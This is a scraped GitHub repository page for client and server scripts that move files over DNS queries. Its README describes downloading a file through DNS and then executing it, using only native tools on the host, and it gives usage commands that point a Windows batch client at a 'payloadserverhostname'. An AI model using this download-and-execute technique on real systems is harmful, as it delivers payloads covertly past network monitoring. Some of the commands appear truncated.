Client/Server scripts to transfer files over DNS. Client scripts are small and only use native tools on the host OS.
Switch branches/tags
Nothing to show
Clone or download
breenmachine Merge pull request #1 from hexaclock/master
Added Windows batch script client
Latest commit 4ca124e Jan 24, 2016
Failed to load latest commit information.
client added more options Aug 19, 2015 added patch for if PTR record gets sent Aug 20, 2015


Use only DNS queries to download a file, and then execute it.


On the server hosting the file (tested with python2):

sudo python -f /path/to/file

On the Windows client with batch script:

client\client_batch\runme.bat payloadserverhostname fileparts publicdnsserver

Example: client\client_batch\runme.bat 42

If just testing internally, you can use the following example:

client\client_batch\runme.bat payloadserverhostname fileparts payloadserverIPaddr

Original author: Stephen Breen -

Forked and modified by: Daniel Vinakovsky